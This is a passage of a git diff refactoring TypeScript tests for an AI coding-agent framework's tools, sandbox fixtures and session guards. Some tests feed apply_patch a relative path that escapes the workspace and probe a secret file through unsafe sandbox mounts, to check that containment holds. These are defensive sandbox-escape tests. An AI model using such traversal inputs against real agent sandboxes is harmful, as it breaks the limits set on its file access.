+} + describe("context-pruning", () => { it("mode off disables pruning", () => { expect(computeEffectiveSettings({ mode: "off" })).toBeNull(); @@ -281,32 +315,8 @@ describe("context-pruning", () => { makeAssistant("a2"), ]; - let handler: - | (( - event: { messages: AgentMessage[] }, - ctx: ExtensionContext, - ) => { messages: AgentMessage[] } | undefined) - | undefined; - - const api = { - on: (name: string, fn: unknown) => { - if (name === "context") { - handler = fn as typeof handler; - } - }, - appendEntry: (_type: string, _data?: unknown) => {}, - } as unknown as ExtensionAPI; - - contextPruningExtension(api); - - if (!handler) { - throw new Error("missing context handler"); - } - - const result = handler({ messages }, { - model: undefined, - sessionManager, - } as unknown as ExtensionContext); + const handler = createContextHandler(); + const result = runContextHandler(handler, messages, sessionManager); if (!result) { throw new Error("expected handler to return messages"); @@ -343,31 +353,8 @@ describe("context-pruning", () => { }), ]; - let handler: - | (( - event: { messages: AgentMessage[] }, - ctx: ExtensionContext, - ) => { messages: AgentMessage[] } | undefined) - | undefined; - - const api = { - on: (name: string, fn: unknown) => { - if (name === "context") { - handler = fn as typeof handler; - } - }, - appendEntry: (_type: string, _data?: unknown) => {}, - } as unknown as ExtensionAPI; - - contextPruningExtension(api); - if (!handler) { - throw new Error("missing context handler"); - } - - const first = handler({ messages }, { - model: undefined, - sessionManager, - } as unknown as ExtensionContext); + const handler = createContextHandler(); + const first = runContextHandler(handler, messages, sessionManager); if (!first) { throw new Error("expected first prune"); } @@ -379,10 +366,7 @@ describe("context-pruning", () => { } expect(runtime.lastCacheTouchAt).toBeGreaterThan(lastTouch); - const second = handler({ messages }, { - model: undefined, - sessionManager, - } as unknown as ExtensionContext); + const second = runContextHandler(handler, messages, sessionManager); expect(second).toBeUndefined(); }); diff --git a/src/agents/pi-tool-definition-adapter.after-tool-call.e2e.test.ts b/src/agents/pi-tool-definition-adapter.after-tool-call.e2e.test.ts index cbcca9625b0..accaa05fa88 100644 --- a/src/agents/pi-tool-definition-adapter.after-tool-call.e2e.test.ts +++ b/src/agents/pi-tool-definition-adapter.after-tool-call.e2e.test.ts @@ -25,6 +25,36 @@ vi.mock("./pi-tools.before-tool-call.js", () => ({ runBeforeToolCallHook: hookMocks.runBeforeToolCallHook, })); +function createReadTool() { + return { + name: "read", + label: "Read", + description: "reads", + parameters: {}, + execute: vi.fn(async () => ({ content: [], details: { ok: true } })), + } satisfies AgentTool; +} + +function enableAfterToolCallHook() { + hookMocks.runner.hasHooks.mockImplementation((name: string) => name === "after_tool_call"); +} + +async function executeReadTool(callId: string) { + const defs = toToolDefinitions([createReadTool()]); + return await defs[0].execute(callId, { path: "/tmp/file" }, undefined, undefined); +} + +function expectReadAfterToolCallPayload(result: Awaited>) { + expect(hookMocks.runner.runAfterToolCall).toHaveBeenCalledWith( + { + toolName: "read", + params: { mode: "safe" }, + result, + }, + { toolName: "read" }, + ); +} + describe("pi tool definition adapter after_tool_call", () => { beforeEach(() => { hookMocks.runner.hasHooks.mockReset(); @@ -42,68 +72,31 @@ describe("pi tool definition adapter after_tool_call", () => { }); it("dispatches after_tool_call once on successful adapter execution", async () => { - hookMocks.runner.hasHooks.mockImplementation((name: string) => name === "after_tool_call"); + enableAfterToolCallHook(); hookMocks.runBeforeToolCallHook.mockResolvedValue({ blocked: false, params: { mode: "safe" }, }); - const tool = { - name: "read", - label: "Read", - description: "reads", - parameters: {}, - execute: vi.fn(async () => ({ content: [], details: { ok: true } })), - } satisfies AgentTool; - - const defs = toToolDefinitions([tool]); - const result = await defs[0].execute("call-ok", { path: "/tmp/file" }, undefined, undefined); + const result = await executeReadTool("call-ok"); expect(result.details).toMatchObject({ ok: true }); expect(hookMocks.runner.runAfterToolCall).toHaveBeenCalledTimes(1); - expect(hookMocks.runner.runAfterToolCall).toHaveBeenCalledWith( - { - toolName: "read", - params: { mode: "safe" }, - result, - }, - { toolName: "read" }, - ); + expectReadAfterToolCallPayload(result); }); it("uses wrapped-tool adjusted params for after_tool_call payload", async () => { - hookMocks.runner.hasHooks.mockImplementation((name: string) => name === "after_tool_call"); + enableAfterToolCallHook(); hookMocks.isToolWrappedWithBeforeToolCallHook.mockReturnValue(true); hookMocks.consumeAdjustedParamsForToolCall.mockReturnValue({ mode: "safe" }); - const tool = { - name: "read", - label: "Read", - description: "reads", - parameters: {}, - execute: vi.fn(async () => ({ content: [], details: { ok: true } })), - } satisfies AgentTool; - - const defs = toToolDefinitions([tool]); - const result = await defs[0].execute( - "call-ok-wrapped", - { path: "/tmp/file" }, - undefined, - undefined, - ); + const result = await executeReadTool("call-ok-wrapped"); expect(result.details).toMatchObject({ ok: true }); expect(hookMocks.runBeforeToolCallHook).not.toHaveBeenCalled(); - expect(hookMocks.runner.runAfterToolCall).toHaveBeenCalledWith( - { - toolName: "read", - params: { mode: "safe" }, - result, - }, - { toolName: "read" }, - ); + expectReadAfterToolCallPayload(result); }); it("dispatches after_tool_call once on adapter error with normalized tool name", async () => { - hookMocks.runner.hasHooks.mockImplementation((name: string) => name === "after_tool_call"); + enableAfterToolCallHook(); const tool = { name: "bash", label: "Bash", @@ -134,18 +127,9 @@ describe("pi tool definition adapter after_tool_call", () => { }); it("does not break execution when after_tool_call hook throws", async () => { - hookMocks.runner.hasHooks.mockImplementation((name: string) => name === "after_tool_call"); + enableAfterToolCallHook(); hookMocks.runner.runAfterToolCall.mockRejectedValue(new Error("hook failed")); - const tool = { - name: "read", - label: "Read", - description: "reads", - parameters: {}, - execute: vi.fn(async () => ({ content: [], details: { ok: true } })), - } satisfies AgentTool; - - const defs = toToolDefinitions([tool]); - const result = await defs[0].execute("call-ok2", { path: "/tmp/file" }, undefined, undefined); + const result = await executeReadTool("call-ok2"); expect(result.details).toMatchObject({ ok: true }); expect(hookMocks.runner.runAfterToolCall).toHaveBeenCalledTimes(1); diff --git a/src/agents/pi-tools-agent-config.e2e.test.ts b/src/agents/pi-tools-agent-config.e2e.test.ts index 220bb75b9cb..195305bb585 100644 --- a/src/agents/pi-tools-agent-config.e2e.test.ts +++ b/src/agents/pi-tools-agent-config.e2e.test.ts @@ -27,6 +27,64 @@ describe("Agent-specific tool filtering", () => { stat: async () => null, }; + async function withApplyPatchEscapeCase( + opts: { workspaceOnly?: boolean }, + run: (params: { + applyPatchTool: ToolWithExecute; + escapedPath: string; + patch: string; + }) => Promise, + ) { + const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-pi-tools-")); + const escapedPath = path.join( + path.dirname(workspaceDir), + `escaped-${process.pid}-${Date.now()}-${Math.random().toString(16).slice(2)}.txt`, + ); + const relativeEscape = path.relative(workspaceDir, escapedPath); + + try { + const cfg: OpenClawConfig = { + tools: { + allow: ["read", "exec"], + exec: { + applyPatch: { + enabled: true, + ...(opts.workspaceOnly === false ? { workspaceOnly: false } : {}), + }, + }, + }, + }; + + const tools = createOpenClawCodingTools({ + config: cfg, + sessionKey: "agent:main:main", + workspaceDir, + agentDir: "/tmp/agent", + modelProvider: "openai", + modelId: "gpt-5.2", + }); + + const applyPatchTool = tools.find((t) => t.name === "apply_patch"); + if (!applyPatchTool) { + throw new Error("apply_patch tool missing"); + } + + const patch = `*** Begin Patch +*** Add File: ${relativeEscape} ++escaped +*** End Patch`; + + await run({ + applyPatchTool: applyPatchTool as unknown as ToolWithExecute, + escapedPath, + patch, + }); + } finally { + await fs.rm(escapedPath, { force: true }); + await fs.rm(workspaceDir, { recursive: true, force: true }); + } + } + it("should apply global tool policy when no agent-specific policy exists", () => { const cfg: OpenClawConfig = { tools: { @@ -118,96 +176,23 @@ describe("Agent-specific tool filtering", () => { }); it("defaults apply_patch to workspace-only (blocks traversal)", async () => { - const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-pi-tools-")); - const escapedPath = path.join( - path.dirname(workspaceDir), - `escaped-${process.pid}-${Date.now()}-${Math.random().toString(16).slice(2)}.txt`, - ); - const relativeEscape = path.relative(workspaceDir, escapedPath); - - try { - const cfg: OpenClawConfig = { - tools: { - allow: ["read", "exec"], - exec: { - applyPatch: { enabled: true }, - }, - }, - }; - - const tools = createOpenClawCodingTools({ - config: cfg, - sessionKey: "agent:main:main", - workspaceDir, - agentDir: "/tmp/agent", - modelProvider: "openai", - modelId: "gpt-5.2", - }); - - const applyPatchTool = tools.find((t) => t.name === "apply_patch"); - if (!applyPatchTool) { - throw new Error("apply_patch tool missing"); - } - - const patch = `*** Begin Patch -*** Add File: ${relativeEscape} -+escaped -*** End Patch`; - - await expect( - (applyPatchTool as unknown as ToolWithExecute).execute("tc1", { input: patch }), - ).rejects.toThrow(/Path escapes sandbox root/); + await withApplyPatchEscapeCase({}, async ({ applyPatchTool, escapedPath, patch }) => { + await expect(applyPatchTool.execute("tc1", { input: patch })).rejects.toThrow( + /Path escapes sandbox root/, + ); await expect(fs.readFile(escapedPath, "utf8")).rejects.toBeDefined(); - } finally { - await fs.rm(escapedPath, { force: true }); - await fs.rm(workspaceDir, { recursive: true, force: true }); - } + }); }); it("allows disabling apply_patch workspace-only via config (dangerous)", async () => { - const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-pi-tools-")); - const escapedPath = path.join( - path.dirname(workspaceDir), - `escaped-allow-${process.pid}-${Date.now()}-${Math.random().toString(16).slice(2)}.txt`, + await withApplyPatchEscapeCase( + { workspaceOnly: false }, + async ({ applyPatchTool, escapedPath, patch }) => { + await applyPatchTool.execute("tc2", { input: patch }); + const contents = await fs.readFile(escapedPath, "utf8"); + expect(contents).toBe("escaped\n"); + }, ); - const relativeEscape = path.relative(workspaceDir, escapedPath); - - try { - const cfg: OpenClawConfig = { - tools: { - allow: ["read", "exec"], - exec: { - applyPatch: { enabled: true, workspaceOnly: false }, - }, - }, - }; - - const tools = createOpenClawCodingTools({ - config: cfg, - sessionKey: "agent:main:main", - workspaceDir, - agentDir: "/tmp/agent", - modelProvider: "openai", - modelId: "gpt-5.2", - }); - - const applyPatchTool = tools.find((t) => t.name === "apply_patch"); - if (!applyPatchTool) { - throw new Error("apply_patch tool missing"); - } - - const patch = `*** Begin Patch -*** Add File: ${relativeEscape} -+escaped -*** End Patch`; - - await (applyPatchTool as unknown as ToolWithExecute).execute("tc2", { input: patch }); - const contents = await fs.readFile(escapedPath, "utf8"); - expect(contents).toBe("escaped\n"); - } finally { - await fs.rm(escapedPath, { force: true }); - await fs.rm(workspaceDir, { recursive: true, force: true }); - } }); it("should apply agent-specific tool policy", () => { diff --git a/src/agents/pi-tools.sandbox-mounted-paths.workspace-only.test.ts b/src/agents/pi-tools.sandbox-mounted-paths.workspace-only.test.ts index 36571da8e71..5fd1b204fef 100644 --- a/src/agents/pi-tools.sandbox-mounted-paths.workspace-only.test.ts +++ b/src/agents/pi-tools.sandbox-mounted-paths.workspace-only.test.ts @@ -88,19 +88,28 @@ function createSandbox(params: { }; } +async function withUnsafeMountedSandboxHarness( + run: (ctx: { sandboxRoot: string; agentRoot: string; sandbox: SandboxContext }) => Promise, +) { + const stateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-sbx-mounts-")); + const sandboxRoot = path.join(stateDir, "sandbox"); + const agentRoot = path.join(stateDir, "agent"); + await fs.mkdir(sandboxRoot, { recursive: true }); + await fs.mkdir(agentRoot, { recursive: true }); + const bridge = createUnsafeMountedBridge({ root: sandboxRoot, agentHostRoot: agentRoot }); + const sandbox = createSandbox({ sandboxRoot, agentRoot, fsBridge: bridge }); + try { + await run({ sandboxRoot, agentRoot, sandbox }); + } finally { + await fs.rm(stateDir, { recursive: true, force: true }); + } +} + describe("tools.fs.workspaceOnly", () => { it("defaults to allowing sandbox mounts outside the workspace root", async () => { - const stateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-sbx-mounts-")); - const sandboxRoot = path.join(stateDir, "sandbox"); - const agentRoot = path.join(stateDir, "agent"); - await fs.mkdir(sandboxRoot, { recursive: true }); - await fs.mkdir(agentRoot, { recursive: true }); - try { + await withUnsafeMountedSandboxHarness(async ({ sandboxRoot, agentRoot, sandbox }) => { await fs.writeFile(path.join(agentRoot, "secret.txt"), "shh", "utf8"); - const bridge = createUnsafeMountedBridge({ root: sandboxRoot, agentHostRoot: agentRoot }); - const sandbox = createSandbox({ sandboxRoot, agentRoot, fsBridge: bridge }); - const tools = createOpenClawCodingTools({ sandbox, workspaceDir: sandboxRoot }); const readTool = tools.find((tool) => tool.name === "read"); const writeTool = tools.find((tool) => tool.name === "write"); @@ -112,23 +121,13 @@ describe("tools.fs.workspaceOnly", () => { await writeTool?.execute("t2", { path: "/agent/owned.txt", content: "x" }); expect(await fs.readFile(path.join(agentRoot, "owned.txt"), "utf8")).toBe("x"); - } finally { - await fs.rm(stateDir, { recursive: true, force: true }); - } + }); }); it("rejects sandbox mounts outside the workspace root when enabled", async () => { - const stateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-sbx-mounts-")); - const sandboxRoot = path.join(stateDir, "sandbox"); - const agentRoot = path.join(stateDir, "agent"); - await fs.mkdir(sandboxRoot, { recursive: true }); - await fs.mkdir(agentRoot, { recursive: true }); - try { + await withUnsafeMountedSandboxHarness(async ({ sandboxRoot, agentRoot, sandbox }) => { await fs.writeFile(path.join(agentRoot, "secret.txt"), "shh", "utf8"); - const bridge = createUnsafeMountedBridge({ root: sandboxRoot, agentHostRoot: agentRoot }); - const sandbox = createSandbox({ sandboxRoot, agentRoot, fsBridge: bridge }); - const cfg = { tools: { fs: { workspaceOnly: true } } } as unknown as OpenClawConfig; const tools = createOpenClawCodingTools({ sandbox, workspaceDir: sandboxRoot, config: cfg }); const readTool = tools.find((tool) => tool.name === "read"); @@ -153,8 +152,6 @@ describe("tools.fs.workspaceOnly", () => { editTool?.execute("t3", { path: "/agent/secret.txt", oldText: "shh", newText: "nope" }), ).rejects.toThrow(/Path escapes sandbox root/i); expect(await fs.readFile(path.join(agentRoot, "secret.txt"), "utf8")).toBe("shh"); - } finally { - await fs.rm(stateDir, { recursive: true, force: true }); - } + }); }); }); diff --git a/src/agents/sandbox/fs-bridge.test.ts b/src/agents/sandbox/fs-bridge.test.ts index 0eeeb6ad98a..c2d4148069a 100644 --- a/src/agents/sandbox/fs-bridge.test.ts +++ b/src/agents/sandbox/fs-bridge.test.ts @@ -7,39 +7,21 @@ vi.mock("./docker.js", () => ({ import type { SandboxContext } from "./types.js"; import { execDockerRaw } from "./docker.js"; import { createSandboxFsBridge } from "./fs-bridge.js"; +import { createSandboxTestContext } from "./test-fixtures.js"; const mockedExecDockerRaw = vi.mocked(execDockerRaw); function createSandbox(overrides?: Partial): SandboxContext { - return { - enabled: true, - sessionKey: "sandbox:test", - workspaceDir: "/tmp/workspace", - agentWorkspaceDir: "/tmp/workspace", - workspaceAccess: "rw", - containerName: "moltbot-sbx-test", - containerWorkdir: "/workspace", - docker: { + return createSandboxTestContext({ + overrides: { + containerName: "moltbot-sbx-test", + ...overrides, + }, + dockerOverrides: { image: "moltbot-sandbox:bookworm-slim", containerPrefix: "moltbot-sbx-", - network: "none", - user: "1000:1000", - workdir: "/workspace", - readOnlyRoot: false, - tmpfs: [], - capDrop: [], - seccompProfile: "", - apparmorProfile: "", - setupCommand: "", - binds: [], - dns: [], - extraHosts: [], - pidsLimit: 0, }, - tools: { allow: ["*"], deny: [] }, - browserAllowHostControl: false, - ...overrides, - }; + }); } describe("sandbox fs bridge shell compatibility", () => { diff --git a/src/agents/sandbox/fs-paths.test.ts b/src/agents/sandbox/fs-paths.test.ts index e49ccdc2d13..afc3fe75eca 100644 --- a/src/agents/sandbox/fs-paths.test.ts +++ b/src/agents/sandbox/fs-paths.test.ts @@ -6,37 +6,10 @@ import { parseSandboxBindMount, resolveSandboxFsPathWithMounts, } from "./fs-paths.js"; +import { createSandboxTestContext } from "./test-fixtures.js"; function createSandbox(overrides?: Partial): SandboxContext { - return { - enabled: true, - sessionKey: "sandbox:test", - workspaceDir: "/tmp/workspace", - agentWorkspaceDir: "/tmp/workspace", - workspaceAccess: "rw", - containerName: "openclaw-sbx-test", - containerWorkdir: "/workspace", - docker: { - image: "openclaw-sandbox:bookworm-slim", - containerPrefix: "openclaw-sbx-", - network: "none", - user: "1000:1000", - workdir: "/workspace", - readOnlyRoot: false, - tmpfs: [], - capDrop: [], - seccompProfile: "", - apparmorProfile: "", - setupCommand: "", - binds: [], - dns: [], - extraHosts: [], - pidsLimit: 0, - }, - tools: { allow: ["*"], deny: [] }, - browserAllowHostControl: false, - ...overrides, - }; + return createSandboxTestContext({ overrides }); } describe("parseSandboxBindMount", () => { diff --git a/src/agents/sandbox/test-fixtures.ts b/src/agents/sandbox/test-fixtures.ts new file mode 100644 index 00000000000..db3835dcba5 --- /dev/null +++ b/src/agents/sandbox/test-fixtures.ts @@ -0,0 +1,42 @@ +import type { SandboxContext } from "./types.js"; + +export function createSandboxTestContext(params?: { + overrides?: Partial; + dockerOverrides?: Partial; +}): SandboxContext { + const overrides = params?.overrides ?? {}; + const { docker: _unusedDockerOverrides, ...sandboxOverrides } = overrides; + const docker = { + image: "openclaw-sandbox:bookworm-slim", + containerPrefix: "openclaw-sbx-", + network: "none", + user: "1000:1000", + workdir: "/workspace", + readOnlyRoot: false, + tmpfs: [], + capDrop: [], + seccompProfile: "", + apparmorProfile: "", + setupCommand: "", + binds: [], + dns: [], + extraHosts: [], + pidsLimit: 0, + ...overrides.docker, + ...params?.dockerOverrides, + }; + + return { + enabled: true, + sessionKey: "sandbox:test", + workspaceDir: "/tmp/workspace", + agentWorkspaceDir: "/tmp/workspace", + workspaceAccess: "rw", + containerName: "openclaw-sbx-test", + containerWorkdir: "/workspace", + tools: { allow: ["*"], deny: [] }, + browserAllowHostControl: false, + ...sandboxOverrides, + docker, + }; +} diff --git a/src/agents/session-file-repair.e2e.test.ts b/src/agents/session-file-repair.e2e.test.ts index 325fc96a88b..394222e3a93 100644 --- a/src/agents/session-file-repair.e2e.test.ts +++ b/src/agents/session-file-repair.e2e.test.ts @@ -4,24 +4,29 @@ import path from "node:path"; import { describe, expect, it, vi } from "vitest"; import { repairSessionFileIfNeeded } from "./session-file-repair.js"; +function buildSessionHeaderAndMessage() { + const header = { + type: "session", + version: 7, + id: "session-1", + timestamp: new Date().toISOString(), + cwd: "/tmp", + }; + const message = { + type: "message", + id: "msg-1", + parentId: null, + timestamp: new Date().toISOString(), + message: { role: "user", content: "hello" }, + }; + return { header, message }; +} + describe("repairSessionFileIfNeeded", () => { it("rewrites session files that contain malformed lines", async () => { const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-session-repair-")); const file = path.join(dir, "session.jsonl"); - const header = { - type: "session", - version: 7, - id: "session-1", - timestamp: new Date().toISOString(), - cwd: "/tmp", - }; - const message = { - type: "message", - id: "msg-1", - parentId: null, - timestamp: new Date().toISOString(), - message: { role: "user", content: "hello" }, - }; + const { header, message } = buildSessionHeaderAndMessage(); const content = `${JSON.stringify(header)}\n${JSON.stringify(message)}\n{"type":"message"`; await fs.writeFile(file, content, "utf-8"); @@ -43,20 +48,7 @@ describe("repairSessionFileIfNeeded", () => { it("does not drop CRLF-terminated JSONL lines", async () => { const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-session-repair-")); const file = path.join(dir, "session.jsonl"); - const header = { - type: "session", - version: 7, - id: "session-1", - timestamp: new Date().toISOString(), - cwd: "/tmp", - }; - const message = { - type: "message", - id: "msg-1", - parentId: null, - timestamp: new Date().toISOString(), - message: { role: "user", content: "hello" }, - }; + const { header, message } = buildSessionHeaderAndMessage(); const content = `${JSON.stringify(header)}\r\n${JSON.stringify(message)}\r\n`; await fs.writeFile(file, content, "utf-8"); diff --git a/src/agents/session-tool-result-guard.e2e.test.ts b/src/agents/session-tool-result-guard.e2e.test.ts index e20c2fe3ba7..5d00901f2ff 100644 --- a/src/agents/session-tool-result-guard.e2e.test.ts +++ b/src/agents/session-tool-result-guard.e2e.test.ts @@ -12,6 +12,38 @@ const toolCallMessage = asAppendMessage({ content: [{ type: "toolCall", id: "call_1", name: "read", arguments: {} }], }); +function appendToolResultText(sm: SessionManager, text: string) { + sm.appendMessage(toolCallMessage); + sm.appendMessage( + asAppendMessage({ + role: "toolResult", + toolCallId: "call_1", + toolName: "read", + content: [{ type: "text", text }], + isError: false, + timestamp: Date.now(), + }), + ); +} + +function getPersistedMessages(sm: SessionManager): AgentMessage[] { + return sm + .getEntries() + .filter((e) => e.type === "message") + .map((e) => (e as { message: AgentMessage }).message); +} + +function getToolResultText(messages: AgentMessage[]): string { + const toolResult = messages.find((m) => m.role === "toolResult") as { + content: Array<{ type: string; text: string }>; + }; + expect(toolResult).toBeDefined(); + const textBlock = toolResult.content.find((b: { type: string }) => b.type === "text") as { + text: string; + }; + return textBlock.text; +} + describe("installSessionToolResultGuard", () => { it("inserts synthetic toolResult before non-tool message when pending", () => { const sm = SessionManager.inMemory(); @@ -211,32 +243,11 @@ describe("installSessionToolResultGuard", () => { const sm = SessionManager.inMemory(); installSessionToolResultGuard(sm); - sm.appendMessage(toolCallMessage); - sm.appendMessage( - asAppendMessage({ - role: "toolResult", - toolCallId: "call_1", - toolName: "read", - content: [{ type: "text", text: "x".repeat(500_000) }], - isError: false, - timestamp: Date.now(), - }), - ); + appendToolResultText(sm, "x".repeat(500_000)); - const entries = sm - .getEntries() - .filter((e) => e.type === "message") - .map((e) => (e as { message: AgentMessage }).message); - - const toolResult = entries.find((m) => m.role === "toolResult") as { - content: Array<{ type: string; text: string }>; - }; - expect(toolResult).toBeDefined(); - const textBlock = toolResult.content.find((b: { type: string }) => b.type === "text") as { - text: string; - }; - expect(textBlock.text.length).toBeLessThan(500_000); - expect(textBlock.text).toContain("truncated"); + const text = getToolResultText(getPersistedMessages(sm)); + expect(text.length).toBeLessThan(500_000); + expect(text).toContain("truncated"); }); it("does not truncate tool results under the limit", () => { @@ -244,30 +255,10 @@ describe("installSessionToolResultGuard", () => { installSessionToolResultGuard(sm); const originalText = "small tool result"; - sm.appendMessage(toolCallMessage); - sm.appendMessage( - asAppendMessage({ - role: "toolResult", - toolCallId: "call_1", - toolName: "read", - content: [{ type: "text", text: originalText }], - isError: false, - timestamp: Date.now(), - }), - ); + appendToolResultText(sm, originalText); - const entries = sm - .getEntries() - .filter((e) => e.type === "message") - .map((e) => (e as { message: AgentMessage }).message); - - const toolResult = entries.find((m) => m.role === "toolResult") as { - content: Array<{ type: string; text: string }>; - }; - const textBlock = toolResult.content.find((b: { type: string }) => b.type === "text") as { - text: string; - }; - expect(textBlock.text).toBe(originalText); + const text = getToolResultText(getPersistedMessages(sm)); + expect(text).toBe(originalText); }); it("applies message persistence transform to user messages", () => { diff --git a/src/agents/session-tool-result-guard.tool-result-persist-hook.e2e.test.ts b/src/agents/session-tool-result-guard.tool-result-persist-hook.e2e.test.ts index fc79d212cf4..cdfaf7775f9 100644 --- a/src/agents/session-tool-result-guard.tool-result-persist-hook.e2e.test.ts +++ b/src/agents/session-tool-result-guard.tool-result-persist-hook.e2e.test.ts @@ -33,6 +33,32 @@ function writeTempPlugin(params: { dir: string; id: string; body: string }): str return file; } +function appendToolCallAndResult(sm: ReturnType) { + sm.appendMessage({ + role: "assistant", + content: [{ type: "toolCall", id: "call_1", name: "read", arguments: {} }], + } as AgentMessage); + + sm.appendMessage({ + role: "toolResult", + toolCallId: "call_1", + isError: false, + content: [{ type: "text", text: "ok" }], + details: { big: "x".repeat(10_000) }, + // oxlint-disable-next-line typescript/no-explicit-any + } as any); +} + +function getPersistedToolResult(sm: ReturnType) { + const messages = sm + .getEntries() + .filter((e) => e.type === "message") + .map((e) => (e as { message: AgentMessage }).message); + + // oxlint-disable-next-line typescript/no-explicit-any + return messages.find((m) => (m as any).role === "toolResult") as any; +} + afterEach(() => { resetGlobalHookRunner(); }); @@ -43,28 +69,8 @@ describe("tool_result_persist hook", () => { agentId: "main", sessionKey: "main", }); - - sm.appendMessage({ - role: "assistant", - content: [{ type: "toolCall", id: "call_1", name: "read", arguments: {} }], - } as AgentMessage); - - sm.appendMessage({ - role: "toolResult", - toolCallId: "call_1", - isError: false, - content: [{ type: "text", text: "ok" }], - details: { big: "x".repeat(10_000) }, - // oxlint-disable-next-line typescript/no-explicit-any - } as any); - - const messages = sm - .getEntries() - .filter((e) => e.type === "message") - .map((e) => (e as { message: AgentMessage }).message); - - // oxlint-disable-next-line typescript/no-explicit-any - const toolResult = messages.find((m) => (m as any).role === "toolResult") as any; + appendToolCallAndResult(sm); + const toolResult = getPersistedToolResult(sm); expect(toolResult).toBeTruthy(); expect(toolResult.details).toBeTruthy(); }); @@ -114,29 +120,8 @@ describe("tool_result_persist hook", () => { sessionKey: "main", }); - // Tool call (so the guard can infer tool name -> id mapping). - sm.appendMessage({ - role: "assistant", - content: [{ type: "toolCall", id: "call_1", name: "read", arguments: {} }], - } as AgentMessage); - - // Tool result containing a large-ish details payload. - sm.appendMessage({ - role: "toolResult", - toolCallId: "call_1", - isError: false, - content: [{ type: "text", text: "ok" }], - details: { big: "x".repeat(10_000) }, - // oxlint-disable-next-line typescript/no-explicit-any - } as any); - - const messages = sm - .getEntries() - .filter((e) => e.type === "message") - .map((e) => (e as { message: AgentMessage }).message); - - // oxlint-disable-next-line typescript/no-explicit-any - const toolResult = messages.find((m) => (m as any).role === "toolResult") as any; + appendToolCallAndResult(sm); + const toolResult = getPersistedToolResult(sm); expect(toolResult).toBeTruthy(); // Hook registration should not break baseline persistence semantics. diff --git a/src/agents/sessions-spawn-threadid.e2e.test.ts b/src/agents/sessions-spawn-threadid.e2e.test.ts index 39d44ed7ec8..0b14533100d 100644 --- a/src/agents/sessions-spawn-threadid.e2e.test.ts +++ b/src/agents/sessions-spawn-threadid.e2e.test.ts @@ -1,28 +1,10 @@ -import { beforeEach, describe, expect, it, vi } from "vitest"; - -const callGatewayMock = vi.fn(); -vi.mock("../gateway/call.js", () => ({ - callGateway: (opts: unknown) => callGatewayMock(opts), -})); - -let configOverride: ReturnType<(typeof import("../config/config.js"))["loadConfig"]> = { - session: { - mainKey: "main", - scope: "per-sender", - }, -}; - -vi.mock("../config/config.js", async (importOriginal) => { - const actual = await importOriginal(); - return { - ...actual, - loadConfig: () => configOverride, - resolveGatewayPort: () => 18789, - }; -}); - -import "./test-helpers/fast-core-tools.js"; +import { beforeEach, describe, expect, it } from "vitest"; import { createOpenClawTools } from "./openclaw-tools.js"; +import "./test-helpers/fast-core-tools.js"; +import { + callGatewayMock, + setSubagentsConfigOverride, +} from "./openclaw-tools.subagents.test-harness.js"; import { listSubagentRunsForRequester, resetSubagentRegistryForTests, @@ -32,12 +14,12 @@ describe("sessions_spawn requesterOrigin threading", () => { beforeEach(() => { resetSubagentRegistryForTests(); callGatewayMock.mockReset(); - configOverride = { + setSubagentsConfigOverride({ session: { mainKey: "main", scope: "per-sender", }, - }; + }); callGatewayMock.mockImplementation(async (opts: unknown) => { const req = opts as { method?: string }; diff --git a/src/agents/skills-install-download.ts b/src/agents/skills-install-download.ts index f9b2ff2837c..c7514a90348 100644 --- a/src/agents/skills-install-download.ts +++ b/src/agents/skills-install-download.ts @@ -10,6 +10,7 @@ import { fetchWithSsrFGuard } from "../infra/net/fetch-guard.js"; import { isWithinDir, resolveSafeBaseDir } from "../infra/path-safety.js"; import { runCommandWithTimeout } from "../process/exec.js"; import { ensureDir, resolveUserPath } from "../utils.js"; +import { formatInstallFailureMessage } from "./skills-install-output.js"; import { hasBinary } from "./skills.js"; import { resolveSkillToolsRootDir } from "./skills/tools-dir.js"; @@ -17,45 +18,6 @@ function isNodeReadableStream(value: unknown): value is NodeJS.ReadableStream { return Boolean(value && typeof (value as NodeJS.ReadableStream).pipe === "function"); } -function summarizeInstallOutput(text: string): string | undefined { - const raw = text.trim(); - if (!raw) { - return undefined; - } - const lines = raw - .split("\n") - .map((line) => line.trim()) - .filter(Boolean); - if (lines.length === 0) { - return undefined; - } - - const preferred = - lines.find((line) => /^error\b/i.test(line)) ?? - lines.find((line) => /\b(err!|error:|failed)\b/i.test(line)) ?? - lines.at(-1); - - if (!preferred) { - return undefined; - } - const normalized = preferred.replace(/\s+/g, " ").trim(); - const maxLen = 200; - return normalized.length > maxLen ? `${normalized.slice(0, maxLen - 1)}…` : normalized; -} - -function formatInstallFailureMessage(result: { - code: number | null; - stdout: string; - stderr: string; -}): string { - const code = typeof result.code === "number" ? `exit ${result.code}` : "unknown exit"; - const summary = summarizeInstallOutput(result.stderr) ?? summarizeInstallOutput(result.stdout); - if (!summary) { - return `Install failed (${code})`; - } - return `Install failed (${code}): ${summary}`; -} - function isWindowsDrivePath(p: string): boolean { return /^[a-zA-Z]:[\\/]/.test(p); } diff --git a/src/agents/skills-install-output.ts b/src/agents/skills-install-output.ts new file mode 100644 index 00000000000..13ac7b39d34 --- /dev/null +++ b/src/agents/skills-install-output.ts @@ -0,0 +1,40 @@ +export type InstallCommandResult = { + code: number | null; + stdout: string; + stderr: string; +}; + +function summarizeInstallOutput(text: string): string | undefined { + const raw = text.trim(); + if (!raw) { + return undefined; + } + const lines = raw + .split("\n") + .map((line) => line.trim()) + .filter(Boolean); + if (lines.length === 0) { + return undefined; + } + + const preferred = + lines.find((line) => /^error\b/i.test(line)) ?? + lines.find((line) => /\b(err!|error:|failed)\b/i.test(line)) ?? + lines.at(-1); + + if (!preferred) { + return undefined; + } + const normalized = preferred.replace(/\s+/g, " ").trim(); + const maxLen = 200; + return normalized.length > maxLen ? `${normalized.slice(0, maxLen - 1)}…` : normalized; +} + +export function formatInstallFailureMessage(result: InstallCommandResult): string { + const code = typeof result.code === "number" ? `exit ${result.code}` : "unknown exit"; + const summary = summarizeInstallOutput(result.stderr) ?? summarizeInstallOutput(result.stdout); + if (!summary) { + return `Install failed (${code})`; + } + return `Install failed (${code}): ${summary}`; +} diff --git 